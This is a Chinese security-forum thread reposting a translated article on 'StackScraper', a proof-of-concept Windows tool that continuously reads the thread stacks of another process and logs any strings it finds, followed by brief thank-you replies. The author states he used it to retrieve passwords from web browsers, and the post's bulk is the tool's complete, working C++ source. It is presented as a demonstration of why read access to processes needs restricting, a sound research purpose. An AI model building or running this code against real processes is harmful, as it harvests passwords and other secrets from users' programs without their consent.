飘云阁

 找回密码
 加入我们

QQ登录

只需一步,快速开始

查看: 2260|回复: 4

[Other] StackScraper - 利用对远程进程的实时堆栈扫描来捕获敏感数据

[复制链接]
  • TA的每日心情
    开心
    2019-3-15 11:00
  • 签到天数: 262 天

    [LV.8]以坛为家I

    发表于 2022-2-10 09:39:27 | 显示全部楼层 |阅读模式
    本帖最后由 梦幻的彼岸 于 2022-2-10 10:34 编辑

    翻译
    原文地址:https://www.x86matthew.com/view_post?id=stack_scraper
    功能:利用对远程进程的实时堆栈扫描来捕获敏感数据

    读取内存的潜在危险常常被安全开发人员所忽视,大部分精力都放在了防止写入不需要的数据上。

    我创建这个工具是为了显示在不需要任何注入技术的情况下,可以从一个正在运行的进程中提取多少数据。

    这个程序持续扫描目标进程中每个线程的整个堆栈,并提取它发现的任何字符串。它既处理指向字符串的指针,也处理分配在堆栈本身的字符串(局部变量)。

    这不是一个精确的工具--它使用了一种非常拙劣的方法,但它确实能返回良好的结果。我已经用这个工具成功地从网络浏览器中检索了密码。这个工具的主要目的是为了强调限制对远程进程的读访问的重要性。

    我的概念验证工具的工作原理如下:
    1. 使用OpenProcess为目标进程创建一个句柄。
    2. 使用NtQuerySystemInformation与SystemProcessInformation来检索目标进程中的线程列表。
    3. 调用NtOpenThread来打开目标进程中的第一个线程。
    4. 用ThreadBasicInformation调用NtQueryInformationThread,以返回远程线程的TEB地址(TebBaseAddress)。
    5. 使用ReadProcessMemory从远程进程中读取该线程的整个TEB结构(NT_TIB)。
    6. 计算全栈大小(TEB.StackBase - TEB.StackLimit),并使用ReadProcessMemory读取整个栈的内容。
    7. 使用ReadProcessMemory读取堆栈上任何指针的数据值,并检查是否有字符串。
    8. 通过堆栈数据查看本地字符串变量内容。
    9. 对目标进程中的下一个线程返回到步骤#3。对所有剩余的线程重复上述步骤。
    10. 回到步骤#2,重新开始。

    以下是完整的代码:
    [C++] 纯文本查看 复制代码
    #include <stdio.h>
    #include <windows.h>
    
    #define STATUS_INFO_LENGTH_MISMATCH 0xC0000004
    #define SystemProcessInformation 5
    #define ThreadBasicInformation 0
    
    // max stack size - 1mb
    #define MAX_STACK_SIZE ((1024 * 1024) / sizeof(DWORD))
    
    // max stack string value size - 1kb
    #define MAX_STACK_VALUE_SIZE 1024
    
    #define TEMP_LOG_FILENAME "temp_log.txt"
    
    struct CLIENT_ID
    {
            HANDLE UniqueProcess;
            HANDLE UniqueThread;
    };
    
    struct THREAD_BASIC_INFORMATION
    {
            DWORD ExitStatus;
            PVOID TebBaseAddress;
            CLIENT_ID ClientId;
            PVOID AffinityMask;
            DWORD Priority;
            DWORD BasePriority;
    };
    
    struct UNICODE_STRING
    {
            USHORT Length;
            USHORT MaximumLength;
            PWSTR Buffer;
    };
    
    struct OBJECT_ATTRIBUTES
    {
            ULONG Length;
            HANDLE RootDirectory;
            UNICODE_STRING *ObjectName;
            ULONG Attributes;
            PVOID SecurityDescriptor;
            PVOID SecurityQualityOfService;
    };
    
    struct SYSTEM_PROCESS_INFORMATION
    {
            ULONG NextEntryOffset;
            ULONG NumberOfThreads;
            BYTE Reserved1[48];
            UNICODE_STRING ImageName;
            DWORD BasePriority;
            HANDLE UniqueProcessId;
            PVOID Reserved2;
            ULONG HandleCount;
            ULONG SessionId;
            PVOID Reserved3;
            SIZE_T PeakVirtualSize;
            SIZE_T VirtualSize;
            ULONG Reserved4;
            SIZE_T PeakWorkingSetSize;
            SIZE_T WorkingSetSize;
            PVOID Reserved5;
            SIZE_T QuotaPagedPoolUsage;
            PVOID Reserved6;
            SIZE_T QuotaNonPagedPoolUsage;
            SIZE_T PagefileUsage;
            SIZE_T PeakPagefileUsage;
            SIZE_T PrivatePageCount;
            LARGE_INTEGER Reserved7[6];
    };
    
    struct SYSTEM_THREAD_INFORMATION
    {
        LARGE_INTEGER Reserved1[3];
        ULONG Reserved2;
        PVOID StartAddress;
        CLIENT_ID ClientId;
        DWORD Priority;
        LONG BasePriority;
        ULONG Reserved3;
        ULONG ThreadState;
        ULONG WaitReason;
    };
    
    DWORD (WINAPI *NtQuerySystemInformation)(DWORD SystemInformationClass, PVOID SystemInformation, ULONG SystemInformationLength, PULONG ReturnLength);
    DWORD (WINAPI *NtQueryInformationThread)(HANDLE ThreadHandle, DWORD ThreadInformationClass, PVOID ThreadInformation, ULONG ThreadInformationLength, PULONG ReturnLength);
    DWORD (WINAPI *NtOpenThread)(HANDLE *ThreadHandle, DWORD DesiredAccess, OBJECT_ATTRIBUTES *ObjectAttributes, CLIENT_ID *ClientId);
    
    DWORD dwGlobal_Stack[MAX_STACK_SIZE];
    HANDLE hGlobal_LogFile = NULL;
    
    SYSTEM_PROCESS_INFORMATION *pGlobal_SystemProcessInfo = NULL;
    
    DWORD GetSystemProcessInformation()
    {
            DWORD dwAllocSize = 0;
            DWORD dwStatus = 0;
            DWORD dwLength = 0;
            BYTE *pSystemProcessInfoBuffer = NULL;
    
            // free previous handle info list (if one exists)
            if(pGlobal_SystemProcessInfo != NULL)
            {
                    free(pGlobal_SystemProcessInfo);
            }
    
            // get system handle list
            dwAllocSize = 0;
            for(;;)
            {
                    if(pSystemProcessInfoBuffer != NULL)
                    {
                            // free previous inadequately sized buffer
                            free(pSystemProcessInfoBuffer);
                            pSystemProcessInfoBuffer = NULL;
                    }
    
                    if(dwAllocSize != 0)
                    {
                            // allocate new buffer
                            pSystemProcessInfoBuffer = (BYTE*)malloc(dwAllocSize);
                            if(pSystemProcessInfoBuffer == NULL)
                            {
                                    return 1;
                            }
                    }
    
                    // get system handle list
                    dwStatus = NtQuerySystemInformation(SystemProcessInformation, (void*)pSystemProcessInfoBuffer, dwAllocSize, &dwLength);
                    if(dwStatus == 0)
                    {
                            // success
                            break;
                    }
                    else if(dwStatus == STATUS_INFO_LENGTH_MISMATCH)
                    {
                            // not enough space - allocate a larger buffer and try again (also add an extra 1kb to allow for additional data between checks)
                            dwAllocSize = (dwLength + 1024);
                    }
                    else
                    {
                            // other error
                            free(pSystemProcessInfoBuffer);
                            return 1;
                    }
            }
    
            // store handle info ptr
            pGlobal_SystemProcessInfo = (SYSTEM_PROCESS_INFORMATION*)pSystemProcessInfoBuffer;
    
            return 0;
    }
    
    DWORD CheckValidStringCharacter(BYTE bChar)
    {
            // check if this is a valid string character
            if(bChar > 0x7F)
            {
                    // invalid character
                    return 1;
            }
            else if(bChar < 0x20 && bChar != '\r' && bChar != '\n')
            {
                    // invalid character
                    return 1;
            }
    
            return 0;
    }
    
    DWORD CheckValidString(char *pString)
    {
            DWORD dwLength = 0;
            BYTE *pCurrCharacter = NULL;
    
            // calculate string length
            dwLength = strlen(pString);
    
            // string must be at least 5 characters
            if(dwLength < 5)
            {
                    return 1;
            }
    
            // if string is less than 8 characters, ensure it doesn't contain any non-alphanumeric characters
            // (this removes a lot of "noise")
            if(dwLength < 8)
            {
                    for(DWORD i = 0; i < dwLength; i++)
                    {
                            pCurrCharacter = (BYTE*)(pString + i);
                            if(*pCurrCharacter >= 'a' && *pCurrCharacter <= 'z')
                            {
                                    continue;
                            }
                            else if(*pCurrCharacter >= 'A' && *pCurrCharacter <= 'Z')
                            {
                                    continue;
                            }
                            else if(*pCurrCharacter >= '0' && *pCurrCharacter <= '9')
                            {
                                    continue;
                            }
    
                            // non-alphanumeric character found
                            return 1;
                    }
            }
    
            return 0;
    }
    
    DWORD CheckAnsiString(BYTE *pValue, char *pString, DWORD dwStringMaxLength)
    {
            DWORD dwNullFound = 0;
            DWORD dwStringLength = 0;
    
            // check if this is a valid ansi string
            for(DWORD i = 0; i < MAX_STACK_VALUE_SIZE; i++)
            {
                    // check string value
                    if(*(BYTE*)(pValue + i) == 0x00)
                    {
                            // null terminator
                            dwNullFound = 1;
                            break;
                    }
                    else if(CheckValidStringCharacter(*(BYTE*)(pValue + i)) != 0)
                    {
                            // invalid string
                            return 1;
                    }
                    else
                    {
                            // valid character
                            dwStringLength++;
                    }
            }
    
            if(dwNullFound == 0)
            {
                    // invalid string (no null terminator found)
                    return 1;
            }
    
            if(dwStringLength == 0)
            {
                    // invalid string (blank)
                    return 1;
            }
    
            // valid ansi string
            _snprintf(pString, dwStringMaxLength, "%s", pValue);
    
            return 0;
    }
    
    DWORD CheckWideCharString(BYTE *pValue, char *pString, DWORD dwStringMaxLength)
    {
            DWORD dwNullFound = 0;
            DWORD dwStringLength = 0;
    
            // check if this is a valid widechar string
            for(DWORD i = 0; i < MAX_STACK_VALUE_SIZE; i++)
            {
                    if(i % 2 == 1)
                    {
                            if(*(BYTE*)(pValue + i) != 0x00)
                            {
                                    // invalid string
                                    return 1;
                            }
    
                            continue;
                    }
    
                    // check string value
                    if(*(BYTE*)(pValue + i) == 0x00)
                    {
                            // null terminator
                            dwNullFound = 1;
                            break;
                    }
                    else if(CheckValidStringCharacter(*(BYTE*)(pValue + i)) != 0)
                    {
                            // invalid string
                            return 1;
                    }
                    else
                    {
                            // valid character
                            dwStringLength++;
                    }
            }
    
            if(dwNullFound == 0)
            {
                    // invalid string (no null terminator found)
                    return 1;
            }
    
            if(dwStringLength == 0)
            {
                    // invalid string (blank)
                    return 1;
            }
    
            // valid widechar string
            _snprintf(pString, dwStringMaxLength, "%S", pValue);
    
            return 0;
    }
    
    DWORD CheckLogForDuplicates(char *pString, DWORD *pdwExists)
    {
            FILE *pFile = NULL;
            DWORD dwExists = 0;
            char szLine[MAX_STACK_VALUE_SIZE + 4];
            char *pEndOfLine = NULL;
    
            // open temp log file
            pFile = fopen(TEMP_LOG_FILENAME, "r");
            if(pFile == NULL)
            {
                    return 1;
            }
    
            // check if this entry already exists in the file
            for(;;)
            {
                    // get line
                    memset(szLine, 0, sizeof(szLine));
                    if(fgets(szLine, sizeof(szLine) - 1, pFile) == 0)
                    {
                            break;
                    }
    
                    // remove carraige-return
                    pEndOfLine = strstr(szLine, "\r");
                    if(pEndOfLine != NULL)
                    {
                            *pEndOfLine = '\0';
                    }
    
                    // remove new-line
                    pEndOfLine = strstr(szLine, "\n");
                    if(pEndOfLine != NULL)
                    {
                            *pEndOfLine = '\0';
                    }
    
                    // check if the current line contains the specified string
                    if(strstr(szLine, pString) != NULL)
                    {
                            // found
                            dwExists = 1;
                            break;
                    }
            }
    
            // close file handle
            fclose(pFile);
    
            // store dwExists
            *pdwExists = dwExists;
    
            return 0;
    }
    
    DWORD ProcessStackValue(BYTE *pValue, char *pStringFilter, DWORD *pdwStringDataLength)
    {
            BYTE bStackValueCopy[MAX_STACK_VALUE_SIZE + 4];
            char szString[MAX_STACK_VALUE_SIZE];
            DWORD dwBytesWritten = 0;
            DWORD dwExists = 0;
            char *pCurrSearchPtr = NULL;
            DWORD dwMatchesFilter = 0;
            DWORD dwWideCharString = 0;
            DWORD dwOutputStringLength = 0;
    
            // reset length value
            *pdwStringDataLength = 0;
    
            // create a copy of the stack value to ensure it is null terminated
            memset(bStackValueCopy, 0, sizeof(bStackValueCopy));
            memcpy(bStackValueCopy, pValue, MAX_STACK_VALUE_SIZE);
    
            // check if this value is an ANSI string
            memset(szString, 0, sizeof(szString));
            if(CheckAnsiString(bStackValueCopy, szString, sizeof(szString) - 1) != 0)
            {
                    // check if this value is a widechar string
                    if(CheckWideCharString(bStackValueCopy, szString, sizeof(szString) - 1) != 0)
                    {
                            // not a string - ignore
                            return 1;
                    }
    
                    // widechar string
                    dwWideCharString = 1;
            }
    
            // perform further validation on the string
            if(CheckValidString(szString) != 0)
            {
                    return 1;
            }
    
            // replace '\r' and '\n' characters with dots
            // (we don't want to terminate the string here because it may contain useful information on the following line)
            for(DWORD i = 0; i < strlen(szString); i++)
            {
                    if(szString[i] == '\r')
                    {
                            szString[i] = '.';
                    }
                    else if(szString[i] == '\n')
                    {
                            szString[i] = '.';
                    }
            }
    
            if(pStringFilter != NULL)
            {
                    // check if this string matches the specified filter
                    pCurrSearchPtr = szString;
                    for(;;)
                    {
                            if(*pCurrSearchPtr == '\0')
                            {
                                    // end of string
                                    break;
                            }
    
                            // check if the substring exists here
                            if(strnicmp(pCurrSearchPtr, pStringFilter, strlen(pStringFilter)) == 0)
                            {
                                    // found matching substring
                                    dwMatchesFilter = 1;
                                    break;
                            }
    
                            // move to the next character
                            pCurrSearchPtr++;
                    }
            }
            else
            {
                    // no filter specified - always match
                    dwMatchesFilter = 1;
            }
    
            if(dwMatchesFilter != 0)
            {
                    // check if this string has already been found
                    if(CheckLogForDuplicates(szString, &dwExists) != 0)
                    {
                            return 1;
                    }
    
                    if(dwExists == 0)
                    {
                            // calculate string length
                            dwOutputStringLength = strlen(szString);
    
                            // new string found - write to log
                            if(WriteFile(hGlobal_LogFile, szString, dwOutputStringLength, &dwBytesWritten, NULL) == 0)
                            {
                                    return 1;
                            }
    
                            // write crlf
                            if(WriteFile(hGlobal_LogFile, "\r\n", strlen("\r\n"), &dwBytesWritten, NULL) == 0)
                            {
                                    return 1;
                            }
    
                            // store string data length
                            if(dwWideCharString == 0)
                            {
                                    // ansi string
                                    *pdwStringDataLength = dwOutputStringLength;
                            }
                            else
                            {
                                    // widechar string
                                    *pdwStringDataLength = dwOutputStringLength * 2;
                            }
    
                            // print to console
                            printf("Found string: %s\n", szString);
                    }
            }
    
            return 0;
    }
    
    DWORD GetStackStrings_Pointers(HANDLE hProcess, DWORD dwStackSize, char *pStringFilter)
    {
            DWORD *pdwCurrStackPtr = NULL;
            DWORD dwCurrStackValue = 0;
            BYTE bStackValue[MAX_STACK_VALUE_SIZE];
            DWORD dwStringDataLength = 0;
    
            // get all values from stack
            pdwCurrStackPtr = dwGlobal_Stack;
            for(DWORD i = 0; i < (dwStackSize / sizeof(DWORD)); i++)
            {
                    // get current stack value
                    dwCurrStackValue = *pdwCurrStackPtr;
    
                    // check if this value is potentially a data ptr
                    if(dwCurrStackValue >= 0x10000)
                    {
                            // attempt to read data from this ptr
                            memset(bStackValue, 0, sizeof(bStackValue));
                            if(ReadProcessMemory(hProcess, (void*)dwCurrStackValue, bStackValue, sizeof(bStackValue), NULL) != 0)
                            {
                                    // process current stack value
                                    dwStringDataLength = 0;
                                    ProcessStackValue(bStackValue, pStringFilter, &dwStringDataLength);
                            }
                    }
    
                    // move to next stack value
                    pdwCurrStackPtr++;
            }
    
            return 0;
    }
    
    DWORD GetStackStrings_LocalVariables(DWORD dwStackSize, char *pStringFilter)
    {
            DWORD dwCopyLength = 0;
            BYTE *pCurrStackPtr = NULL;
            DWORD dwStringDataLength = 0;
            BYTE bStackValue[MAX_STACK_VALUE_SIZE];
    
            // find strings allocated on stack
            pCurrStackPtr = (BYTE*)dwGlobal_Stack;
            for(DWORD i = 0; i < dwStackSize; i++)
            {
                    // ignore if the current value is null
                    if(*pCurrStackPtr == 0x00)
                    {
                            pCurrStackPtr++;
                            continue;
                    }
    
                    // calculate number of bytes to copy
                    dwCopyLength = sizeof(dwGlobal_Stack) - i;
                    if(dwCopyLength > sizeof(bStackValue))
                    {
                            dwCopyLength = sizeof(bStackValue);
                    }
    
                    // copy current data block
                    memset(bStackValue, 0, sizeof(bStackValue));
                    memcpy(bStackValue, pCurrStackPtr, dwCopyLength);
    
                    // process current stack value
                    dwStringDataLength = 0;
                    ProcessStackValue(bStackValue, pStringFilter, &dwStringDataLength);
    
                    if(dwStringDataLength != 0)
                    {
                            // move ptr to the end of the last string
                            pCurrStackPtr += dwStringDataLength;
                    }
                    else
                    {
                            // move ptr to the next byte
                            pCurrStackPtr++;
                    }
            }
    
            return 0;
    }
    
    DWORD GetStackStrings(HANDLE hProcess, HANDLE hThread, DWORD dwThreadID, char *pStringFilter)
    {
            THREAD_BASIC_INFORMATION ThreadBasicInformationData;
            NT_TIB ThreadTEB;
            DWORD dwStackSize = 0;
    
            // get thread basic information
            memset((void*)&ThreadBasicInformationData, 0, sizeof(ThreadBasicInformationData));
            if(NtQueryInformationThread(hThread, ThreadBasicInformation, &ThreadBasicInformationData, sizeof(THREAD_BASIC_INFORMATION), NULL) != 0)
            {
                    return 1;
            }
    
            // read thread TEB
            memset((void*)&ThreadTEB, 0, sizeof(ThreadTEB));
            if(ReadProcessMemory(hProcess, ThreadBasicInformationData.TebBaseAddress, &ThreadTEB, sizeof(ThreadTEB), NULL) == 0)
            {
                    return 1;
            }
    
            // calculate thread stack size
            dwStackSize = (DWORD)ThreadTEB.StackBase - (DWORD)ThreadTEB.StackLimit;
            if(dwStackSize > sizeof(dwGlobal_Stack))
            {
                    return 1;
            }
    
            // read full thread stack
            if(ReadProcessMemory(hProcess, ThreadTEB.StackLimit, dwGlobal_Stack, dwStackSize, NULL) == 0)
            {
                    return 1;
            }
    
            // read ptrs
            if(GetStackStrings_Pointers(hProcess, dwStackSize, pStringFilter) != 0)
            {
                    return 1;
            }
    
            // read local variables
            if(GetStackStrings_LocalVariables(dwStackSize, pStringFilter) != 0)
            {
                    return 1;
            }
    
            return 0;
    }
    
    DWORD ReadProcessStackData(HANDLE hProcess, DWORD dwPID, char *pStringFilter) 
    { 
            HANDLE hThread = NULL;
            SYSTEM_PROCESS_INFORMATION *pCurrProcessInfo = NULL;
            SYSTEM_PROCESS_INFORMATION *pNextProcessInfo = NULL;
            SYSTEM_PROCESS_INFORMATION *pTargetProcessInfo = NULL;
            SYSTEM_THREAD_INFORMATION *pCurrThreadInfo = NULL;
            OBJECT_ATTRIBUTES ObjectAttributes;
            DWORD dwStatus = 0;
    
            // get snapshot of processes/threads
            if(GetSystemProcessInformation() != 0)
            {
                    return 1;
            }
    
            // find the target process in the list
            pCurrProcessInfo = pGlobal_SystemProcessInfo;
            for(;;)
            {
                    // check if this is the target PID
                    if((DWORD)pCurrProcessInfo->UniqueProcessId == dwPID)
                    {
                            // found target process
                            pTargetProcessInfo = pCurrProcessInfo;
                            break;
                    }
    
                    // check if this is the end of the list
                    if(pCurrProcessInfo->NextEntryOffset == 0)
                    {
                            // end of list
                            break;
                    }
                    else
                    {
                            // get next process ptr
                            pNextProcessInfo = (SYSTEM_PROCESS_INFORMATION*)((BYTE*)pCurrProcessInfo + pCurrProcessInfo->NextEntryOffset);
                    }
    
                    // go to next process
                    pCurrProcessInfo = pNextProcessInfo;
            }
    
            // ensure the target process was found in the list
            if(pTargetProcessInfo == NULL)
            {
                    return 1;
            }
    
            // loop through all threads within the target process
            pCurrThreadInfo = (SYSTEM_THREAD_INFORMATION*)((BYTE*)pTargetProcessInfo + sizeof(SYSTEM_PROCESS_INFORMATION));
            for(DWORD i = 0; i < pTargetProcessInfo->NumberOfThreads; i++)
            {
                    // open thread
                    memset((void*)&ObjectAttributes, 0, sizeof(ObjectAttributes));
                    ObjectAttributes.Length = sizeof(ObjectAttributes);
                    dwStatus = NtOpenThread(&hThread, THREAD_QUERY_INFORMATION, &ObjectAttributes, &pCurrThreadInfo->ClientId);
                    if(dwStatus == 0)
                    {
                            // extract strings from the stack of this thread
                            GetStackStrings(hProcess, hThread, (DWORD)pCurrThreadInfo->ClientId.UniqueThread, pStringFilter);
    
                            // close handle
                            CloseHandle(hThread);
                    }
    
                    // move to the next thread
                    pCurrThreadInfo++;
            }
    
            return 0;
    }
    
    DWORD GetNtdllFunctions()
    {
            // get NtQueryInformationThread ptr
            NtQueryInformationThread = (unsigned long (__stdcall *)(void *,unsigned long,void *,unsigned long,unsigned long *))GetProcAddress(GetModuleHandle("ntdll.dll"), "NtQueryInformationThread");
            if(NtQueryInformationThread == NULL)
            {
                    return 1;
            }
    
            // get NtQuerySystemInformation function ptr
            NtQuerySystemInformation = (unsigned long (__stdcall *)(unsigned long,void *,unsigned long,unsigned long *))GetProcAddress(GetModuleHandle("ntdll.dll"), "NtQuerySystemInformation");
            if(NtQuerySystemInformation == NULL)
            {
                    return 1;
            }
    
            // get NtOpenThread function ptr
            NtOpenThread = (unsigned long (__stdcall *)(void ** ,unsigned long,struct OBJECT_ATTRIBUTES *,struct CLIENT_ID *))GetProcAddress(GetModuleHandle("ntdll.dll"), "NtOpenThread");
            if(NtOpenThread == NULL)
            {
                    return 1;
            }
    
            return 0;
    }
    
    int main(int argc, char *argv[])
    {
            HANDLE hProcess = NULL;
            DWORD dwPID = 0;
            char *pStringFilter = NULL;
    
            printf("StackScraper - [url=http://www.x86matthew.com]www.x86matthew.com[/url]\n\n");
    
            if(argc != 2 && argc != 3)
            {
                    printf("Usage: %s [pid] [filter:optional]\n\n", argv[0]);
    
                    return 1;
            }
    
            // get params
            dwPID = atoi(argv[1]);
            if(argc == 3)
            {
                    pStringFilter = argv[2];
            }
    
            // get ntdll function ptrs
            if(GetNtdllFunctions() != 0)
            {
                    return 1;
            }
    
            // open process
            hProcess = OpenProcess(PROCESS_VM_READ, 0, dwPID);
            if(hProcess == NULL)
            {
                    printf("Failed to open process: %u\n", dwPID);
    
                    return 1;
            }
    
            printf("Opened process %u successfully\n", dwPID);
    
            // create a temporary log file to ignore duplicate entries
            hGlobal_LogFile = CreateFile(TEMP_LOG_FILENAME, GENERIC_WRITE, FILE_SHARE_READ, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
            if(hGlobal_LogFile == INVALID_HANDLE_VALUE)
            {
                    printf("Failed to create temporary log file: '%s'\n", TEMP_LOG_FILENAME);
                    // error
                    CloseHandle(hProcess);
    
                    return 1;
            }
    
            // check if a filter was specified
            if(pStringFilter == NULL)
            {
                    printf("Monitoring process stack...\n");
            }
            else
            {
                    printf("Monitoring process stack for strings containing '%s'...\n", pStringFilter);
            }
    
            // monitor target process
            for(;;)
            {
                    // read stack data from remote process
                    if(ReadProcessStackData(hProcess, dwPID, pStringFilter) != 0)
                    {
                            break;
                    }
            }
    
            printf("Exiting...\n");
    
            // close file handle
            CloseHandle(hGlobal_LogFile);
    
            // close process handle
            CloseHandle(hProcess);
    
            return 0;
    }

    本帖子中包含更多资源

    您需要 登录 才可以下载或查看,没有账号?加入我们

    x
    PYG19周年生日快乐!
  • TA的每日心情
    擦汗
    14 小时前
  • 签到天数: 332 天

    [LV.8]以坛为家I

    发表于 2022-2-10 16:38:31 | 显示全部楼层
    谢谢楼主的分享
    PYG19周年生日快乐!
    回复 支持 反对

    使用道具 举报

  • TA的每日心情

    2023-8-14 14:19
  • 签到天数: 25 天

    [LV.4]偶尔看看III

    发表于 2022-2-11 20:35:18 | 显示全部楼层
    PYG有你更精彩!
    PYG19周年生日快乐!
    回复 支持 反对

    使用道具 举报

  • TA的每日心情
    奋斗
    2023-5-13 23:22
  • 签到天数: 853 天

    [LV.10]以坛为家III

    发表于 2022-2-12 11:32:29 | 显示全部楼层
    感谢楼主分享
    PYG19周年生日快乐!
    回复 支持 反对

    使用道具 举报

  • TA的每日心情
    难过
    2023-1-30 20:59
  • 签到天数: 16 天

    [LV.4]偶尔看看III

    发表于 2022-2-13 14:08:42 | 显示全部楼层
    感谢楼主分享
    PYG19周年生日快乐!
    回复 支持 反对

    使用道具 举报

    您需要登录后才可以回帖 登录 | 加入我们

    本版积分规则

    快速回复 返回顶部 返回列表